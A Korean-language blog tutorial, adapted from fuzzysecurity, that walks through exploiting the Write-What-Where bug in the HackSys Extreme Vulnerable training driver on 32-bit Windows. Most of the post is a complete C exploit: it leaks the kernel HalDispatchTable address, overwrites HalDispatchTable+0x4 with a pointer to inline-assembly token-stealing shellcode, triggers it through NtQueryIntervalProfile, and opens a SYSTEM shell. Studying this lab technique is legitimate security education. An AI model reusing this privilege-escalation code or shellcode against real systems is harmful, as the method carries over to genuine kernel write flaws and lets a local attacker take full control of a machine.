[Kernel Exploitation] Write-What-Where



출처: https://www.fuzzysecurity.com/tutorials.html


본 포스팅은 fuzzysecurity Tutorials part 11 -> Write-What-Where를 분석 및 의역하여 작성하였습니다. 

Sample Windows Driver code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.



Step 1. 취약점 분석

Write-What-Where 취약점은 공격자가 원하는 주소에 원하는 data를 넣게끔 code를 작성하였습니다.

NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
	PULONG What = NULL;
	PULONG Where = NULL;
	NTSTATUS Status = STATUS_SUCCESS;

	PAGED_CODE();

	__try {
		ProbeForRead((PVOID)UserWriteWhatWhere,
			sizeof(WRITE_WHAT_WHERE),
			(ULONG)__alignof(WRITE_WHAT_WHERE));

		What = UserWriteWhatWhere->What;
		Where = UserWriteWhatWhere->Where;

		DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
		DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
		DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
		DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
		ProbeForRead((PVOID)Where, sizeof(PULONG), (ULONG)__alignof(PULONG));
		ProbeForRead((PVOID)What, sizeof(PULONG), (ULONG)__alignof(PULONG));

		*(Where) = *(What);
#else
		DbgPrint("[+] Triggering Arbitrary Overwrite\n");

		*(Where) = *(What);

		// 취약점 발생, 내가 원하는 주소에 임의의 값을 넣을 수 있다.
#endif
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		Status = GetExceptionCode();
		DbgPrint("[-] Exception Code: 0x%X\n", Status);
	}

	return Status;
}

 

code를 먼저 살펴보면 특정 구조체(WriteWhatWhere)에 8bytes만큼의 data를 넣어 보낼 수 있습니다. SECURE에 해당하는 경우 내가 보낸 data가 ProbeForRead() API로 User Memory에 해당하는지 검사하게 됩니다.

 

이 경우 kernel주소를 data로 보내게 되면 예외처리로 빠지게 됩니다.

 

else code를 보면 ProbeForRead()로 필터링을 거치지 않아 kernel memory영역의 data를 보낼 수 있습니다.

 

Step 2. Exploit

취약점은 쉽게 찾았지만 어디를 변조시켜 권한을 상승해야할지 생각해봐야 합니다.

 

NtQueryIntervalProfile()이라는 API가 있습니다. User 영역에서 호출 가능한 API 입니다.

 

어셈블리를 살펴보면 중간에 nt!KeQueryIntervalProfile을 부르는 instruction이 있습니다.

kd> u
nt!NtQueryIntervalProfile + 0x62:
83128ecd 7507 jne nt!NtQueryIntervalProfile + 0x6b (83128ed6)
83128ecf a1ac6bf482 mov eax, dword ptr[nt!KiProfileInterval(82f46bac)]
83128ed4 eb05 jmp nt!NtQueryIntervalProfile + 0x70 (83128edb)
83128ed6 e83ae5fbff call nt!KeQueryIntervalProfile(830e7415)
83128edb 84db test bl, bl
83128edd 741b je nt!NtQueryIntervalProfile + 0x8f (83128efa)
83128edf c745fc01000000 mov dword ptr[ebp - 4], 1
83128ee6 8906 mov dword ptr[esi], eax

 

그리고 KeQueryIntervalProfile을 살펴보면 nt!HalDispatchTable + 0x4부분으 data를 call하는 것을 볼 수 있습니다.

 

HalDispatchTable은 kernel dispatch table의 한 예로 PAE(Physical Address Extension)를 지원하는 system인 경우 kernel exe file (ntoskrnl, ntkrnlpa.exe)에 저장됩니다. 이 table에는 몇가지 HAL routine의 주소가 들어있으며 debugger를 사용해 해당 값들을 볼 수 있습니다.

 

KeQueryIntervalProfile API는 ring0 layer에서 실행되므로 HalDispatchTable의 주소를 구해서 HalDispatchTable + 0x4 부분을 변조시키면 shellcode를 실행 시킬 수 있습니다.

nt!KeQueryIntervalProfile + 0xd:
830e7422 a1c81af882 mov eax, dword ptr[nt!KiProfileAlignmentFixupInterval(82f81ac8)]
830e7427 c9 leave
830e7428 c3 ret

nt!KeQueryIntervalProfile + 0x14 :
830e7429 8945f0 mov dword ptr[ebp - 10h], eax
830e742c 8d45fc lea eax, [ebp - 4]
830e742f 50 push eax
830e7430 8d45f0 lea eax, [ebp - 10h]
830e7433 50 push eax
830e7434 6a0c push 0Ch
830e7436 6a01 push 1
830e7438 ff15fc73f482 call dword ptr[nt!HalDispatchTable + 0x4 (82f473fc)]

 

다음의 NtQuerySystemInformation() API는 지정된 system 정보를 가져오는 API입니다. 이 API를 이용해서 ntkrnlpa의 base address를 구할 수 있습니다.

NTSTATUS WINAPI NtQuerySystemInformation(
	__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
	__inout PVOID SystemInformation,
	__in ULONG SystemInformationLength,
	__out_opt PULONG ReturnLength);

 

그리고 User land에서의 ntkrnlpa의 base address를 구하고 HalDispatchTable과의 offset을 구합니다. 그 offset과 Kernel land에서의 base address를 더해주면 kernel land HalDispatchTable 주소가 나오게 됩니다.

#include <stdio.h>
#include <Windows.h>
#include <WinIoCtl.h>
#include <TlHelp32.h>
#include <conio.h>
#include <string.h>
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
#define HACKSIS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemBasicInformation = 0,
	SystemModuleInformation = 11
}SYSTEM_INFORMATION_CLASS;
typedef struct _MODULE {
	ULONG Reserved[2];
	PVOID Base;
	ULONG Size;
	ULONG Flags;
	USHORT Index;
	USHORT Unknown;
	USHORT LoadCount;
	USHORT ModuleNameOffset;
	CHAR ImageName[256];
}MODULE, *PMODULE;
typedef struct _SYSTEM_MODULE_INFORMATION {
	LONG Count;
	MODULE Module;
}SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef NTSTATUS(WINAPI *NTQUERYSYSTEMINFORMATION)(__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
	__inout PVOID SystemInformation,
	__in ULONG SystemInformationLength,
	__out_opt PULONG ReturnLength);
PVOID GetHalDispatchTable() {
	HMODULE hNT = NULL, hModule = NULL;
	NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
	PSYSTEM_MODULE_INFORMATION pSystemModuleInformation = NULL;
	LONG ReturnLength = 0;
	PCHAR ModuleName = NULL;
	PVOID HalDispatchTable = NULL;
	hNT = LoadLibrary("ntdll.dll");
	if (!hNT) {
		printf("[!] hNT error: 0x%x\n", GetLastError());
		return NULL;
	}
	NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNT, "NtQuerySystemInformation");
	if (!NtQuerySystemInformation) {
		printf("[!] NtQuerySystemInformation error: 0x%x\n", GetLastError());
		return NULL;
	}
	NtQuerySystemInformation(SystemModuleInformation, NULL, 0, (PULONG)&ReturnLength);
	printf("[] ReturnLength: %d, 0x%x\n", ReturnLength, ReturnLength);
	pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);
	if (!pSystemModuleInformation) {
		printf("[!] pSystemModuleInformation error: 0x%x\n", GetLastError());
		return NULL;
	}
	NtQuerySystemInformation(SystemModuleInformation, pSystemModuleInformation, ReturnLength, (PULONG)&ReturnLength);
	ModuleName = strrchr(pSystemModuleInformation->Module.ImageName, '\\') + 1;
	printf("[] Kernel Module Count: %d\n", pSystemModuleInformation->Count);
	printf("[] Kernel Module name: %s\n", ModuleName);
	printf("[] Kernel Module base: 0x%x\n", pSystemModuleInformation->Module.Base);
	hModule = LoadLibrary(ModuleName);
	printf("[] User Module base: 0x%x\n", hModule);
	HalDispatchTable = (PVOID)GetProcAddress(hModule, "HalDispatchTable");
	if (!HalDispatchTable) {
		printf("[!] HalDispatchTable error: 0x%x\n", HalDispatchTable);
		return NULL;
	}
	printf("[] HalDispatchTable address: 0x%x\n", HalDispatchTable);
	CloseHandle(hModule);
	return pSystemModuleInformation;
}
int main(int argc, CHAR* argv[])
{
	LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";
	PUCHAR lpInBuffer = NULL;
	HANDLE hDriver = NULL;
	DWORD lpBytesReturned;

	hDriver = CreateFile(lpDevicename,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFile error: 0x%x\n", GetLastError());
		exit(0);
	}
	GetHalDispatchTable();
	CloseHandle(hDriver);

	return 0;
}

 

Kernel Land에서의 ntkrnlpa base addres를 구한 것입니다. 여기에 offset을 더해주게 되면 HalDispatchTable의 주소값을 구할 수 있습니다.

 

 

 

이제 shellcode를 추가하고 해당 HalDispatchTable + 0x4의 값과 shellcode의 주소값을 Write-What-Where 구조체를 만들어 넣어 보내주고 QueryIntervalProfile()를 호출해 줍니다.

#include <stdio.h>
#include <Windows.h>
#include <WinIoCtl.h>
#include <TlHelp32.h>
#include <conio.h>
#include <string.h>
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef struct _WRITE_WHAT_WHERE {
	PULONG What;
	PULONG Where;
}WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemBasicInformation = 0,
	SystemModuleInformation = 11
}SYSTEM_INFORMATION_CLASS;
typedef struct _MODULE {
	ULONG Reserved[2];
	PVOID Base;
	ULONG Size;
	ULONG Flags;
	USHORT Index;
	USHORT Unknown;
	USHORT LoadCount;
	USHORT ModuleNameOffset;
	CHAR ImageName[256];
}MODULE, *PMODULE;
typedef struct _SYSTEM_MODULE_INFORMATION {
	LONG Count;
	MODULE Module;
}SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef NTSTATUS(WINAPI *NTQUERYSYSTEMINFORMATION)(__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
	__inout PVOID SystemInformation,
	__in ULONG SystemInformationLength,
	__out_opt PULONG ReturnLength);
typedef NTSTATUS(WINAPI *NTQUERYINTERVALPROFILE)(__in ULONG ProfileSource,
	__out PULONG Interval);
VOID TokenShellcode() {
	__asm {
		pushad; Save registers state
		; Start of Token Stealing Stub
		xor eax, eax; Set ZERO
		mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
		; _KTHREAD is located at FS : [0x124]
		mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
		mov ecx, eax; Copy current process _EPROCESS structure
		mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
		SearchSystemPID:
		mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID
			mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
			; with SYSTEM process nt!_EPROCESS.Token
			; End of Token Stealing Stub
			popad; Restore registers state
	}
}
PVOID GetHalDispatchTable() {
	HMODULE hNT = NULL, hModule = NULL;
	NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
	PSYSTEM_MODULE_INFORMATION pSystemModuleInformation = NULL;
	LONG offset = 0, ReturnLength = 0, KernelBase = 0;
	PCHAR ModuleName = NULL;
	PVOID HalDispatchTable = NULL, KernelHalDispatchTable = NULL;
	hNT = LoadLibrary("ntdll.dll");
	if (!hNT) {
		printf("[!] hNT error: 0x%x\n", GetLastError());
		return NULL;
	}
	NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNT, "NtQuerySystemInformation");
	if (!NtQuerySystemInformation) {
		printf("[!] NtQuerySystemInformation error: 0x%x\n", GetLastError());
		return NULL;
	}
	NtQuerySystemInformation(SystemModuleInformation, NULL, 0, (PULONG)&ReturnLength);
	printf("[] ReturnLength: %d, 0x%x\n", ReturnLength, ReturnLength);
	pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);
	if (!pSystemModuleInformation) {
		printf("[!] pSystemModuleInformation error: 0x%x\n", GetLastError());
		return NULL;
	}
	NtQuerySystemInformation(SystemModuleInformation, pSystemModuleInformation, ReturnLength, (PULONG)&ReturnLength);
	ModuleName = strrchr(pSystemModuleInformation->Module.ImageName, '\\') + 1;
	KernelBase = (LONG)pSystemModuleInformation->Module.Base;
	printf("[] Kernel Module Count: %d\n", pSystemModuleInformation->Count);
	printf("[] Kernel Module name: %s\n", ModuleName);
	printf("[] Kernel Module base: 0x%x\n", KernelBase);
	hModule = LoadLibrary(ModuleName);
	HalDispatchTable = (PVOID)GetProcAddress(hModule, "HalDispatchTable");
	offset = (LONG)HalDispatchTable - (LONG)hModule;
	if (!HalDispatchTable) {
		printf("[!] HalDispatchTable error: 0x%x\n", HalDispatchTable);
		return NULL;
	}
	printf("[] User Module base: 0x%x\n", hModule);
	printf("[] User HalDispatchTable address: 0x%x\n", HalDispatchTable);
	printf("[] User land offset: 0x%x\n", offset);
	KernelHalDispatchTable = (PVOID)(KernelBase + offset);
	printf("[] In Function Kernel HalDispatchTable: 0x%x\n", KernelHalDispatchTable);

	CloseHandle(hModule);
	return KernelHalDispatchTable;
}
int main(int argc, CHAR* argv[])
{
	LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";
	PUCHAR lpInBuffer = NULL;
	HANDLE hDriver = NULL;
	HMODULE hNT = NULL;
	DWORD lpBytesReturned;
	PVOID HalDispatchTable = 0, HalDispatchTable4 = 0;
	ULONG Interval = 0;
	PWRITE_WHAT_WHERE Buffer = NULL;
	PVOID Shellcode = (PVOID)&TokenShellcode;

	hDriver = CreateFile(lpDevicename,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFile error: 0x%x\n", GetLastError());
		exit(0);
	}
	HalDispatchTable = (PVOID)GetHalDispatchTable();
	HalDispatchTable4 = (PVOID)((PCHAR)HalDispatchTable + 0x4);
	printf("\n\n");
	printf("[] (PULONG)HalDispatchTable4: 0x%x\n", (PULONG)HalDispatchTable4);
	printf("[] (PVOID)HalDispatchTalbe4: 0x%x\n", (PVOID)HalDispatchTable4);
	Buffer = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));
	if (!Buffer) {
		printf("[!] Buffer error: 0x%x\n", GetLastError());
		return 0;
	}
	Buffer->What = (PULONG)&Shellcode;
	Buffer->Where = (PULONG)HalDispatchTable4;
	printf("[] What: 0x%x\n", Buffer->What);
	printf("[] Where: 0x%x\n", Buffer->Where);
	hNT = LoadLibrary("ntdll.dll");
	if (!hNT) {
		printf("[!] hNT error: 0x%x\n", GetLastError());
		return 0;
	}
	NTQUERYINTERVALPROFILE NtQueryIntervalProfile = (NTQUERYINTERVALPROFILE)GetProcAddress(hNT, "NtQueryIntervalProfile");
	if (!NtQueryIntervalProfile) {
		printf("[!] NtQueryIntervalProfile error: 0x%x\n", GetLastError());
		return 0;
	}
	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
		(LPVOID)Buffer,
		sizeof(Buffer),
		NULL,
		0,
		&lpBytesReturned,
		NULL);
	NtQueryIntervalProfile(0xCAFE, &Interval);
	system("cmd.exe");
	CloseHandle(hDriver);

	return 0;
}

 

권한이 상승된 shell을 얻었습니다.

 

 

 

tip) code는 쉽게 썼지만 code에서 data 형변환을 자주 사용했고 shellcode 주소값 경우에는 2중 pointer를 사용해야 했습니다. IDA로 먼저 어셈블리들을 살펴보고 해당 값의 유형을 어떻게 넣을지 생각해야 합니다.

이 글을 공유하기

댓글